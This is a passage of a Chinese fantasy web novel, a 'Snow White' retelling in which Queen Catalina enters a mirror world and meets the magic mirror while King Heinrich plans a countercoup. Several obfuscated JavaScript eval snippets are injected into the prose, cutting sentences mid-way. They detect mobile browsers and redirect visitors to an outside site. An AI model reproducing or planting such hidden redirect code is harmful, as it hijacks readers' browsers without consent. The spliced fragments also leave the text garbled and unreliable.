旁边是两个卫兵和他的王宫大厨布莱恩，他们躲在木屋内取暖。 海因里希比他们看上起还要狼狈。他知道这几位本是随行卡特琳娜的人员，便询问：“你们怎么会在这里？” “马车被雪暴袭击，我们躲进了这里避风……”其中一位叫做吉姆的卫兵回答道。 看来，他们并没有进入幽暗森林。 海因里希记得卡特琳娜说过在森林里遇到卫兵的事情，那应该是幽暗森林制造的诡异幻觉。幽暗森林真是太过于诡异，差点让他和布莱克都折在那里。 他摸了摸怀里奄奄一息的布莱克小兔子，心里沉重。雪圣女的事情他还没来得及问，卡特琳娜便…… “现在回营地吧。”海因里希说。 卫兵却没有立即回答，一脸难色。 海因里希皱眉，问：“怎么了？” 吉姆声音颤抖着回答：“陛，陛下……我们与女王陛下失散之后，也去到自卫军的营地，但是，那里已经，已经……” “已经怎么了？”海因里希心中出现不妙的感觉，他厉声质问。 “自卫军的营地已经被摧毁了……” 海因里希瞪大了眼睛，心里各种信息开始翻涌。他知道自己中计了，但又不知道问题出在哪里。 “所有士兵都被俘虏，押送回了洛尔兰城……我们看情况不对，躲回了这里……” “城里呢？城里怎么样了？”海因里希脸色极其难看，他没想到政变会在他和王后双双失踪的时候发生。 到底是谁？ “伊桑*沙穆，不，现在应该叫他伊桑*莱斯利，他宣称洛尔兰是幽冥的新国度，而他是死亡神教的主教。”吉姆说着，低下来头，“城内，城内的骑士团已经被他掌控，就连，团长安德鲁宣布效命于他。就连肯古丽湖的第七军，卡洛斯上将，也承认他的身份，并不起兵与之对抗……” “也是他，他说陛下您要起兵谋反，对拜厄不利。他不知道从哪里掌握了一支神秘的骑士军团，将自卫军击溃俘虏，并将营地摧毁踏平……现在，他说您挟持了王后陛下，正在全国搜索您和王后的踪迹……他要恭迎王后回宫，成为洛尔兰的女王……” 海因里希听到这里，差点站不住。 旁边的王宫大厨布莱恩扶住了他，他定了定神才勉强站稳。 他早知道…… 伊桑*沙穆不仅觊觎他的妻子，更是觊觎他的王国！ 他要夺回来，夺回属于他的一切。 海因里希咬着牙，在心里发誓。 * 卡特琳娜见到光之后，发现自己在一个陌生的地方。 她漂浮在半空中，思绪放飞。 灵空间，她现在很清楚这种感觉。 这里是她自己的灵空间，她还没有完全去到现实世界里。 怎么回事？ 这里是古老城堡的高塔，透过高耸的窗户，她可以俯瞰整座城堡和远处的山脉。地面铺着深红色的地毯，上面绣有金色的花纹。她从空中降下去，脚下踩在地摊上，柔软而温暖。 墙壁上挂满了精美的织锦挂毯，描墙角摆放着几只镶有金边的雕花大灯，散发出温柔的光辉，将整个房间映衬得温馨而宁静。房间的一侧有一个大理石壁炉，熊熊的火焰在壁炉中跳跃，散发出阵阵温暖。 梳妆台边是一个巨大的全身镜，镜框雕刻着细致的花纹。 房间中央是一张精美的四柱大床，床帷用淡金色的丝绸制成，垂挂在床边，仿佛一层轻纱笼罩在夜色下。床上的被褥绣有精致的花卉图案，褥子和枕头都用上乘的绒毛填充。 另一个她正躺在床上安静睡着，像是不会醒来的睡美人。 卡特琳娜疑惑，为何她的灵空间会是这样的场景，这难道是她吸收了幽灵卡特琳娜而产生的反应？ 这里应该是费里特王宫，她这具身体长大的地方，也许这也是她的灵空间形成的原因。 卡特琳娜起了好奇心，她打开了房间门，看到的是螺旋往下的阶梯，不知道通向何处。 她拿着烛台，开始往下走，走了很久都没有走到尽头。 但当她想要放弃，回头转身，发现眼前出现了一道门。 她将门推开，不由得瞳孔震动，下意识要从腰间拔剑。但她腰间没有剑，她只能眼睁睁看着面前的幽灵骑士的铠甲。 那不是幽灵骑士，只是一具铠甲。 卡特琳娜最终意识到了这一点。 它被陈列在房间的正中央，像是博物馆展示出的收藏品。 卡特琳娜缓慢走近，发现这铠甲不具有任何恶意。 其实，一直以来，幽灵骑士都不对她有恶意。一开始，他的目标是简妮，后来他的目标是布莱克和海因里希。 卡特琳娜是主动被卷入其中，但她一直都不是幽灵骑士想要攻击的对象。 她身上的特殊究竟是什么？ 如果米洛在的话，能回答她的这个问题吗？ 卡特琳娜不禁感到失望，不仅是对自己，也是对这个世界。从到这里之后，她一直被各种事件推动着往前，很少有时间和空间思考自身。 她有太多问题了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632594|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽灵骑士的献祭是什么目的，她们一行又为什么被卷进来？觊觎她肉身的幽灵说在地狱等她又是什么意思？ …… 她什么都不知道，在失去了米洛之后，她不仅是盲人，更是成为了聋子。 她摸了摸自己的手腕，“圣泪”还在。 卡尔口中无名的收藏家将这件宝物间接送到了她的手里，也是一个巧合吗？ “我没办法逃避。”卡特琳娜对自己说，她伸手摸到了铠甲。 很奇异的触感，“圣泪”与铠甲一同发出耀眼的光芒。在“圣泪”的催化之下，幽灵骑士的铠甲竟然发生了变化。 大小、形态、模样，变得非常贴合卡特琳娜的身形，就像是为她量身定做。 “我到幽暗森林里来，也是有人设计的吗？” 越来越多的疑惑由她心中升起。但不可否认的是，不论是之前青蛙公主的事件，还是刚刚过去的幽灵骑士的传说，这两次的经历都让她获得了成长，她的实力比之前更强。 她从一无所知的异界旅人，成为了真正的巫师。 也许不仅如此。 卡特琳娜摸了摸铠甲旁边的佩剑，这把幽灵剑也是极佳的宝物。这样的武器，必须有一个专属的名字。 “就叫小黑，怎么样？”她看它黑乎乎的样子，擅自给它取了一个名字。 她迫不及待了，将铠甲拆卸下来，自己穿上。明明她没有穿过，现在却穿戴得很顺利。 完美贴合。 她不仅是真正的巫师，现在也是一个真正的骑士。 她将手放在剑柄上，深呼吸了一口气，闭上了眼睛。 再睁眼时，她已经回到了塔楼上的房间。 她正站在镜子面前，看着里面自己的骑士铠甲装扮。铠甲的遮掩下，很难分辨她的相貌，甚至是性别。 她能感受到铠甲的力量，带给她坚不可摧的防御和无懈可击的进攻。 她不知道她能不能将铠甲带到现实世界，但她有种感觉，这副铠甲来自于镜界，是幽灵骑士身上那副在镜中的对应。 她能穿着它到镜界深处，去寻找她的米洛。 虽然事情的发展还不太明晰，但卡特琳娜是一刻都不愿意再等下去。她要立即去找米洛，然后离开洛尔兰。 她看着镜子里的自己，将手掌贴了上去。 有铠甲，有圣泪，她现在非常有信心，她能够去到米洛的身边。 卡特琳娜没有再考虑更多，她直接走进了镜子。 这里不仅仅是她自己的灵空间，由于传送锚点和镜子转移术的错位，这里是她的灵空间与幽暗森林交接的混沌处。 也许，从这里进入镜界，能让她更快找到想要找的人。 * 卡特琳娜睁开眼，发现自己在一处鸟语花香的地方。 不再是洛尔兰阴沉的冬，天空明媚、微风和煦，季节正好。 但有什么不太对劲。 她看到自己站在面前，“卡特琳娜”站在她的面前。 她还穿着铠甲，是骑士的样子。而“卡特琳娜”则是银发银眼，一副雍容华贵的王后模样。 王后将一把匕首扔在她的脚边，神情冷傲，说：“拿着，用它插进白雪公主的心脏。” 49. 白雪公主（2） 这是怎么回事？ 卡特琳娜没有想通，为什么她眼前会出现另一个自己。 幽灵卡特琳娜已经消失了，即使没有完全消失，她也只能去地狱。 卡特琳娜将脚边的匕首捡了起来，发现这是一把蕴含着魔法力量的匕首，有着能够将灵魂粉碎的效果。 即使恶毒程度相当，但却有着与幽灵魔法学完全不同的特征。 卡特琳娜抬眼看着面前的王后，心中生出无比陌生的感觉。 她的头发如同波涛翻滚的银色瀑布，银眼如同深海中清澈冷峻的倒映的星辰，脸庞精致完美，轮廓分明。她就是卡特琳娜*范维西，岁月在她脸上留下的痕迹加深了她的风情和优雅，如同越酿越醇香的红葡萄酒。 她似乎不满面前骑士的呆愣，蹙眉责问：“你听到我的命令了吗？” 卡特琳娜回过神来，这才模仿骑士单膝下跪行礼，压低了嗓音回答道：“遵命，我的陛下。” “给你两天的时间。将她的肺叶和肝脏取回来，作为你完成任务的证明。”王后给她的任务设定了期限，然后便转身离开。 卡特琳娜站起来，环顾四周，发现他们会面的地方是洛尔兰王宫花园不易被人发现的角落。 她看着手里的匕首，有了某种异样的感觉。 这个剧情很熟悉。 难道她成了刺杀白雪公主的杀手？ 白雪公主……她，还是他？他已经长大了吗？魔镜做出了预言，告诉王后，白雪公主才是世界上最美丽的人？ 魔镜…… 那个王后究竟是谁？她也能与魔镜产生联系吗？ 卡特琳娜想到这里，心便变得急切，也顾不得其他，立即追上去，想要跟随王后找到可能存在的魔镜。 但王后走得太快，消失在洛尔兰王宫夏日的斑驳树影中。 幸好卡特琳娜对洛尔兰王宫已经很熟悉，找了个偏门往里走。 “你是谁？” 她听到了质问，回头便看见一个熟人。 是安德鲁，王家骑士团的团长。 但他现在的面貌已不再年轻，身材发胖，胡子拉碴，是个四十好几的大汉。他将手放在腰间的剑把上，警惕地询问：“你是什么人？穿着铠甲在王宫里走来走去做什么？” 安德鲁身着便装，作为团长他并不需要亲自进行巡逻或值守，显然恰巧经过。她也太过于倒霉，竟然这么巧会碰到个高层领导人物。 卡特琳娜发现，眼前的这个安德鲁与她认识的那个不太一样，是左撇子。 也许，她真的进入镜界了。 但为什么感觉时间不能对应上？无论是王后，还是卫兵，都似乎老了好些年纪。 时空扭转？还是穿越？ 卡特琳娜不敢肯定。她不能暴露自己的真实身份，便对安德鲁行礼，压低嗓音说：“长官，我是吉姆，今日不是我当值，我正准备回去休息。” 她对王宫的卫兵没那么熟悉，也就认识一两个人，不得已只能借用吉姆的身份了。 吉姆是一介小小卫兵，安德鲁应该认识，但肯定不太熟。 果然，安德鲁眯着眼仔细审视了她，又问：“吉姆？你穿的是什么铠甲？我怎么从来没见过？” 卡特琳娜见他半信半疑，有些支支吾吾，低着头说：“我，我准备去见一个对我来说非常重要的姑娘，当然想要显得威风一点，这样，也许，也许能够求婚成功。” 安德鲁听到这样说，眼睛一亮，手便从剑把上往下放，叮嘱道：“也是，吉姆是吧？我记得你年纪老大不小，确实该考虑婚姻大事了。是哪家的姑娘？” “这个嘛，还没成事。如果不成，传出去对人家女孩子的名声不好。等我求婚成功，得到未婚妻家里的同意，举办婚礼一定会请您来参加，到时候您便知道是哪家的姑娘了。” 卡特琳娜打着哈哈把安德鲁糊弄了过去。 “好，那我就不耽误你的约会和求婚了！”安德鲁哈哈大笑一声，一掌拍在卡特琳娜的肩上。 洛尔兰人口少，国家鼓励结婚生小孩，提到这方面连严厉的长官都变得宽容起来。 但卡特琳娜深知，人口少跟民众愿不愿意结婚生小孩没什么关系，最主要还是洛尔兰经济太差，资源太少，根本就很难养得起小孩。 她不敢再在王宫内部乱走，要是又被其他卫兵撞见怕出别的麻烦。 她在王宫后花园找了个僻静的地方，将头盔取下来，从井水的倒影中观察自己。 银发银眼的卡特琳娜，看起来二十出头。 至今，卡特琳娜都不敢相信这样的美人会有三十九岁。 根据安德鲁的模样来看，感觉已经过去了将近十年？ 天神！王后已经年过半百了？ 卡特琳娜心里震惊之余又有非常多的疑惑，她还是她，那王后又是谁？ 卡特琳娜将自己银白色的长发用匕首割短，再用泥土把脸给抹黑，这下自己看起来像是个邋遢男人了。就算是有什么意外变故，令她不得不脱下铠甲，也不至于一下子被认出身份来。 她看天色还很亮，便找到了玛利亚之前住的偏殿，想要看看王后口中的“白雪公主”是什么样子。 洛尔兰的夏天很温暖，不算热，倒有几分之前在青蛙公主世界里的惬意。 卡特琳娜隐藏在绿影中，远远看到一个身形美好的少女在阳光下晒衣服。 她一眼便认出那是玛利亚。 长大后的玛利亚还有些纤细，皮肤白得像是营养不良，但他的容貌、五官都美丽得不像话，与海因里希有五六分相似，却不是父亲那种英伟俊朗，而是阴柔静美。 比起海因里希，他长得更像是自己的叔叔卡尔。 即使是破布缝成的裙子，也丝毫不影响他的美貌。 但在卡特琳娜眼里，这样的美是不健康的。如果玛利亚能够接受足够的营养和针对性的锻炼，也许能够成为一个与他父亲一样优秀的剑术师；而不是在无穷无尽的劳动中，将苦累压抑在内心深处，从而展现出受尽屈辱的羸弱的“美”。 他眼眸低垂，郁郁寡欢，机械地动着，像是美丽却没有生命的装饰性干花，也像是绚烂却只能被困住的蝴蝶标本。 即使他已经活得如此艰难，恶毒的继母还是雇佣了杀手让他更早去死。 卡特琳娜握着手里女王给予的匕首，觉得事情不会这么简单。如果这里是真正的镜界，那刚刚见面的王后很有可能是她卡特琳娜本人的镜面投影。 她清楚知道自己绝不会是一个如此肤浅的女人。 如果她要杀玛利亚，会是因为什么呢？ 无休止的嫉妒？无缘由的恶意？丈夫的暗中纵容？ 还是很多年前夜仙女的预言？ 范维西家族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632595|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第四代的第一个男性成员，将成为一统北大陆的王者。 在卡特琳娜有限的历史学知识中，天下合久必分、分久必合，也许北大陆是时候该合一合了。 * “陛下？” “陛下……” “陛下！” 见到海因里希出现，冰雪神教的信徒和死士纷纷让出了一条通道，并跪下行礼。 他们灰云密布的脸上瞬间出现了光彩，目光无法从国王的身上挪开——这不仅仅是他们的国王，更是救世主。 海因里希面色沉重，穿过了人群。 他的怀里仍抱着小兔子形态的布莱克的灵体。比起刚刚从幽暗森林离开，布莱克恢复了很多，但由于没有肉身，并不能完全复原。 这里是冰雪神教的秘密基地，是早年间为了在战争避难而修建在地底的隐秘场所。 如今经过冰雪的加固和工匠的设计，地下堡垒变得更加难以寻觅，是非常适合隐藏和防御的所在。 虽然洛尔兰的政变发生得相当迅猛，自卫军营地在极短时间内被铲平，王城内的骑士团也被伊桑*莱斯利收服，但海因里希的力量并没有被完全拔出。 他毕竟在洛尔兰当了十年的国王，他隐藏了底牌。 十年前，他发动政变登上王座后，他便知道，这世界上除了自己，什么人都是不可信的。 不论是骑士团，还是自卫军，他不会把鸡蛋放在一个篮子里。 他对冰雪神教的信徒和洛尔兰余留在地下堡垒的民众发表了重要的讲话，鼓舞众人的士气，并表示会新编军队，击败邪教夺回洛尔兰。 海因里希演讲结束之后，走入了堡垒深处。 “把仓库打开。”他在一道隐秘的重门之前。 士兵听到指令，立即将仓库门拉起来。 里面储存了洛尔兰这几年积累下来的粮食，不仅如此，还有数辆风格华丽的木质货车，车头刻着古奥斯的家族徽章。 凯特罗琳女王派往洛尔兰送给女儿卡特琳娜的粮车，全部被海因里希给截获了。 当时在幽暗森林的深处，他与布莱克察觉到一旁有人，猜测到可能是王后，才故意说了那番关于十四团的话，把粮车的失踪往更神秘的方向诱导。 要说起最近在卡特琳娜身上发生的变化，都是在粮车失踪后发生的。 士兵将仓库清单交给了海因里希。 “……陛下！”冰雪神教的长老走过来，向国王行礼。 海因里希扶住胡子花白的老者，两人相视不语，表情凝重。 许久，海因里希才问道：“这么久了……有研究出什么结果吗？” 长老摇了摇头，叹息着说：“有异样，却很难说具体是什么……但可以肯定的是，平常人吃了并不会出现什么特殊的变化。也许……必须要王后陛下在，才能真正看出问题所在……” 海因里希撇了眼拜厄送来的食材，都是卡特琳娜爱吃的类型。每年送来的量并不算特别多，所以卡特琳娜很少与旁人过多分享，绝大部分落入了她自己的口中。 自从她吃不到这些食材制作的菜肴后，变化开始发生了…… “很好。”海因里希笑了一声。 他眼里闪过冷锐的光。 “这么久的积累，等的就是这一天。我倒要看看伊桑*莱斯利能撑多久……雪暴，马上就要来了……” 50. 白雪公主（3） “是谁？！”玛利亚惊呼了一声。 他的声音偏中性，令人分辨不出男女。 卡特琳娜从灌木丛中走出来，将首铠取下，露出自己涂了一脸泥巴的脸。她压低嗓音，对玛利亚行骑士礼，说：“尊敬的玛利亚公主，王后陛下安排您明日前往森林采集，派我来护卫您的安全。在下特意前来告知，日安。” 玛利亚将手中洗干净的衣服放回了桶里，略楞了几秒，说：“好的，我知道了。” 卡特琳娜见他已经没有少年时那样蓬勃的朝气，也失去了对恶毒继母的仇恨和对自己处境的不甘。 他被磨平了棱角，成为了一个普普通通的受委屈的可怜孩子。 她不禁感到失望，点了点头，准备转身离开。 玛利亚又叫住了眼前的骑士，问：“你叫什么名字？之前从来没有见过你。” “我吗？”卡特琳娜没有犹豫，回答说，“我叫卡特。” * 新月节前夜。 自称死亡神教主教的伊桑*莱斯利下令全城封锁宵禁，整个洛尔兰城笼罩在阴霾之下。 神教广场在几日内发生了翻天覆地的变化，卢*沙穆的雕像变作了一位月下手执镰刀的类蛇形女性生物，碑文刻着“新月之主”几个字。 全知神教堂对面的冰雪神教已然无人，部分神职人员被骑士团逮捕关押在地牢，另一部分则神秘失踪难寻踪迹。 原本繁华的街道，如今冷清寂寥。平日熙熙攘攘的集市不再充满笑声与叫卖声，摊贩们神色匆匆，随时准备收拾离开。来往的行人小心翼翼，脸上写满了戒备与焦虑。偶有目光相交，也立刻低头，生怕被误认成同谋或敌人。 城内的酒馆本该是最热闹的场所，然而如今只能听见低声的私语，谈话内容尽是关于城内的谣言和王室的斗争。 伊桑*莱斯利宣称他得到了神谕——新月之主不再是冰雪，而是死亡。他由全知神教皈依死亡神，被神任命为死亡神教新任主教，依然效忠凯特罗琳女王。而国王海因里希是叛乱之徒，挟持女王之女卡特琳娜出逃。如今他在全国追查国王和王后的下落，为恭迎王后回城称王而准备。 洛尔兰民众大多是冰雪神教或全知神教的信徒，完全不能够信服伊桑*莱斯利这种离奇的说法。但令人意外的是，代表拜厄官方立场的第七军竟然没有任何表态，似乎对此默许。 王宫宫门前，卫兵们比往常更多，持枪巡逻，目光锐利，如临大敌。时不时传来的马蹄声打破短暂的沉默，惊得路人赶紧闪避到小巷中，唯恐被卷入不祥的事件。 谣言像毒蛇般在城市中游走，有人说王宫内外已经剑拔弩张，有人暗示整个范维西王室家族都已经被秘密处决。 月色隐匿。 大街上几乎空无一人，巡夜的士兵每走过一段路，就会用长矛敲打路灯杆，发出沉闷的金属声。偶尔的狗吠回荡在空荡的街道上，像是在预示着即将到来的动荡。 整个洛尔兰城被一种无形的压力笼罩着，人人自危，每个人都知道，风暴即将爆发，但无人知晓它何时、如何来临。 然后云层开始越压越低，狂风突如其来，席卷了整个洛尔兰。 “雪暴来了。”格里高叶将窗帘拉上。 他仍穿着全知神教神甫的制服，情态庄严。 以前的伊桑*沙穆，如今的伊桑*莱斯利占据了国事厅，坐在国王的席位上。他正将信纸折叠放入信封中，并用火漆将其封上。 他嘴中喃喃念诵着什么，一只骷髅鬼手突然从半空出现，将信封抓取，随之消失不见。 由于肚子太过于浑圆，坐着实在不便，他不得不站起身，用手撑着后腰。他轻笑一声，眼睛眯起来，嘲讽道：“范维西三世的小把戏……冰雪的时代已经到了结局，新月的主人只会是死亡……” 格里高叶走过去扶住他，提醒道：“主教大人，卡尔*范维西的生死倒是没有所谓，但图书室的管理员温蒂，实际上是莫里安巴尔亲王的女儿纳温公主……若是他们以此为由横插一脚，洛尔兰的局势恐怕就更加混乱了……死伤，难以估量。” 伊桑哈哈笑了一声，道：“现在洛尔兰是幽冥的国度……当然是所有人都死了才更好……” 然后他眼波转动，低头看到了自己的肚子，将手掌覆在了上面。 “只要我孩子的母亲还活在这世上。等我找到她，她就再也不能够离开我了……” * 等到了夜晚，卡特琳娜才再次进入王宫内部。 本来她想要利用镜子转移术穿越各个房间，但令她惊讶的是，她无法感觉到王宫中的任何一面镜子。 这种情况只可能是两个原因：第一，这里确实不存在任何镜子；第二，这里的镜子的魔法等级太高，她还没有能力去利用。 幸好她身上还有“圣泪”，她可以将其改变成镜子的形态，制造一些简单的镜子魔法。 王宫守卫不算太过森严，她轻松潜入了她记忆中的王后的房间。 没有人，房间的装饰布局也与她印象中不太一样。她再次在床头看到了那副婚礼油画，是银发银眼的卡特琳娜。这才是最初的版本，完美展现卡特琳娜的诡魅形象。 她不禁感叹：“莫尼诗不愧是最著名最传神的油画家……” 她四处搜索，没有找到任何有用的线索。 卡特琳娜思索很短时间，改变方向，由宫墙翻越阳台，潜入了国王的房间。 她记得是在这里…… 她正想要拉开窗帘，便听到屋里传来亲密的说话声。她震惊不已，藏在窗后不敢动作。 那重叠着的两人应该就是国王和王后。 她悄无声息地藏在厚重的窗帘后，微微掀起一角。 她觉得恍惚，亲眼目睹“自己”和别人在一起的样子，确实令她有些难以适应。而且，她仍未搞清楚，这个世界里的王后卡特琳娜究竟是幽灵遗留的残影，还是她本人在镜界的投射。 她看到了海因里希的眼神，既脆弱又服从，以前那个刻薄、多疑、强大的男人似乎是她精神错乱的幻觉。 而王后则笑靥如花，目光温柔如水，甚至带着一丝无法言喻的诱惑。她动作轻盈，似乎是习惯了用这样的姿态让人心醉神迷。她才是真正的强者，是执掌权柄的至高无上的“王”。 月光透过阴云的缝隙，如同潮水般，时而汹涌，时而平静。 卡特琳娜感觉到胸口被一种难以形容的压迫感所挤压，太古怪了，太古怪了。她无法挪开眼睛，眼前的场景令她不能忽视。 白皙的肌肤包裹着海因里希薄薄的肌肉，他的头发留了很长，如金色的瀑布。 这让卡特琳娜第一次心生疑惑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她现在感到无比疲惫，但大脑还能够思考。镜中的时间是发生在与魔镜约定的契约期限的最后一年，王后为了让契约的期限延长，将魔镜封印在了这个时间暂停的空间。 但是，偶尔她会解开封印片刻，询问魔镜自己最想知道的问题的答案。 卡特琳娜模仿镜子中王后暂时解开封印的术式，念诵着相同的咒语…… 她伸出手，将遮布掀开。 “魔镜啊魔镜……我召唤你……”她的手有些颤抖，声音更加颤抖。 魔性的、低沉的、雌雄莫辨的嗓音从镜中传来：“我尊贵的主人，卡特琳娜*布瑞尔*古奥斯陛下，你最忠诚的仆人随时为您效命。” 确实是米洛，就是“她”。 卡特琳娜抬眼直视着魔镜的镜面，然后彻底呆住了。 镜子里是一个让她觉得陌生又熟悉的女孩，大约二十多岁的年纪，齐肩的黑色短发，瓜子脸、小嘴巴，穿着白T和牛仔裤，是一个面容秀丽但眼神倔强的女大学生。 白钰，她还记得自己的名字，叫白钰。 “我尊贵的主人，有什么我可以为您效劳吗？”镜中的女孩开口问道，音色也变得更加清脆。 那就是白钰的声音。 卡特琳娜难以置信，她以为镜中映照的是自己的模样，但原来，这是魔镜最真实的形象吗？ 她到底是谁？ 51. 白雪公主（4） “你是米洛吗？”卡特琳娜咽了咽口水，声音颤抖。 她伸出手，只能碰到冰冷的镜面，触及不到镜子里的人。 镜中人回答：“我尊贵的主人，‘米洛’这个名字在世界上不算少见，我不知道您指代的是谁。但我能够肯定的是，在过去的岁月中，我从未与这个名字产生联系。” 这话让卡特琳娜心里咯噔了一下，她找到了米洛，又似乎没有找到。她不知道该如何开口，思考了许久才又问道：“这里是镜界吗？” 魔镜在短暂沉默之后回答：“也许您听说过镜子悖论？” “这是什么？”卡特琳娜反问，她当然没有听说过。 魔镜继续回答：“最初是著名哲学家卢*沙穆提出了镜子理论，学者将其应用在对镜界的研究中后衍生出了镜子悖论的概念。 “在镜子理论的描述中，普通人类不通过镜子很难看到自己的脸和背面，这是由于视线受到了空间上的限制。依据这一道理，学界认为‘镜子’即代表了与历史相似的‘等次元空间’，而镜中的画面即代表了某一个时间线上的视觉感受。 “后来，人们发现了镜界的存在，证实了镜界中存在与现实世界等同的‘人’。虽然相关的研究被认为是禁忌，但也有少量的文献资料流传到了后世。有学者对镜中人进行了访问记录，他们自称是进入了镜子里面，从而走入了我们的世界。 “既然镜子里代表了与镜子外历史相似的‘等次元空间’，镜子外也代表了与镜子里历史相似的‘等次元空间’。那我们将镜子里的人当做是自己的投影，而镜子里的人也把我们当做是镜子里的他们的投影。 “这个悖论的关键点在于，究竟谁是谁的投影？好比是先有鸡还是先有蛋？主体一定会比投影在时间上优先，这一点是毋庸置疑的，总会有一个是历史，一个是未来。但目前为止，并没有研究系统性地说明这一问题。 “另一方面，时间旅行学者在实践中发现，通过时间旅行也许能够回到真的历史中，但由于受到了时空上的限制，时间旅行者永远也无法与过去的自己发生直接的接触与联系——这与人类无法不通过镜子看到自己的脸和背面这一现象是一致的。 “这个现象也被称为唯一论：即，过去的个体、现在的个体和将来的个体不可能在同一个时空产生直接接触和联系。学者认为，时间旅行者一旦与时间轴上的同一个自己发生接触或联系，那么作为时间旅行者本人在当前世界的时间轴中所存在的因素就将消失。既然时间旅行者消失，那她/他又是如何出现在时间轴上与同一个自己发生接触或联系的？这就是悖论的核心。 “由于有不少报道指出本体与镜中人直接接触或联系的事件发生，并不符合唯一论的现象。因此，学者认为，镜子内外的两者并非是不同时空的同一个体，而互相是‘等次元空间’的投射。” 魔镜的这一席话让卡特琳娜陷入了思考，对于“我究竟是谁”这一问题，她不能够问出口，而是必须自己找到答案。 她开始理解当前的处境，她不仅是进入了镜子里面，还穿越到了未来时空。所以她见到了长大的白雪公主，也见到了与她所认识的不同的国王和王后。 甚至于魔镜，也并不完全是她的米洛。 “我大概理解了。”卡特琳娜并没有想得过于复杂，她对魔镜所说的各种概念进行了总结，“镜界相当于一个平时时空，镜里镜外看起来像是一模一样的同一个人，但实际上是不同时空的不同的人。” “平行世界……这个概念相当新颖，我尊贵的主人。”魔镜对她的话表示赞同，“然而，镜界的神秘和复杂远不止于此。” 魔镜中的“白钰”伸出左手，说：“比如我现在伸出了右手，但镜中人会觉得我伸出的是左手，说我是左撇子。但实际上，我们将这个方向定义为右。” 然后，她又伸出右手，说：“这个方向才定义为左，我并不认为我自己是左撇子，反而我会认为镜子里的人才是左撇子。所以说，究竟谁才是真正的左撇子呢？在这个基础上如果在又出现了第二面、第三面，甚至是无数面镜子呢，又该如何判断谁是最初的那个右利手？” “不需要管谁是左撇子，这不是重点。”卡特琳娜并不想要再深入讨论这种无法完全解析透彻的哲学问题。 她想起米洛消失前说的那句会在镜界等她，虽然她仍不能肯定眼前的魔镜与米洛是同一个，但她相信两面相同的镜子之间应该是存在着千丝万缕的联系。 卡特琳娜说：“再问一个问题，我怎么才能解除这个地方的时空封印？我想把你带出去，让你一直跟在我的身边。” “……如果解开封印的话，契约的时限将重新开始计算，我尊贵的主人，您确定要这么做吗？” “我确定。”卡特琳娜郑重地点头。 魔镜略微一愣，然后告诉了她标准答案。 * 当雪暴来袭，白色的混沌笼罩了整个洛尔兰。 最初只是零星的雪花悄无声息落下，但很快，风暴裹挟着大片雪浪铺天盖地而来，呼啸着冲向洛尔兰的王城和城外的每一个村庄。就连常年不积冰的肯古丽湖，湖面上也凝结了厚厚的冰层。 曾经的河流、树木、村落统统被厚重的雪帘覆盖，仿佛一夜之间从地图上消失。风雪裹挟着冰冷的力量，冲撞着房屋的墙壁，发出令人胆战心惊的低吼。树林中的树木因无法承受雪的重压，发出“咔嚓”的断裂声，随后轰然倒下，激起一阵阵白色的雪雾。 洛尔兰城中的人们匆忙关上门窗，透过缝隙仍能听到狂风的怒吼。雪花密不透风，将整个世界隔绝在白色的牢笼。 夜晚的雪暴尤为恐怖，肆虐没有尽头。如同当年将古希博人驱赶到南方的冰川灾害，仿佛世界末日。 新月节当日，已分不清是冰雪的节日，还是死亡的节日。 “陛下，雪暴如期，洛尔兰城已是亡城。现在带着冰雪的精锐到地上，与用鸡蛋来撞石头没有区别。”冰雪长老劝说海因里希。 但他心意已决，一刻都不能再等下去。 他仔细复盘了这段时间发生的种种异常，无论是冰雪审判中判决的失效，还是井底世界的蛙蛇之争，亦或者是幽暗森林的强烈诅咒，海因里希坚信发生这一切的关键在于同一个人——他的王后，卡特琳娜*范维西。 也许并不能将他的姓氏冠在她的名字，比起范维西家族，卡特琳娜显然与古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632597|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥斯家族更加密不可分。 “我自有办法，您只需要顾好堡垒中的居民即可。”海因里希不给长老继续说下去的机会。 堡垒连通肯古丽湖，有足够的粮食储备，又有火焰鱼提供能量，他们能够在这里坚守的时间至少三个月。到了开春夏至，他们再从堡垒中移居地面，不会有太多的损失。 而地面上的洛尔兰呢？ 怕是两三天就会撑不住了…… “怎么可能当你是死了……”海因里希咬牙切齿，喃喃自语道。 他掏出一枚钻石戒指戴在了自己的无名指上。平时由于军事训练，他不怎么佩戴戒指，但也随身携带。据他的观察，卡特琳娜也不常佩戴。 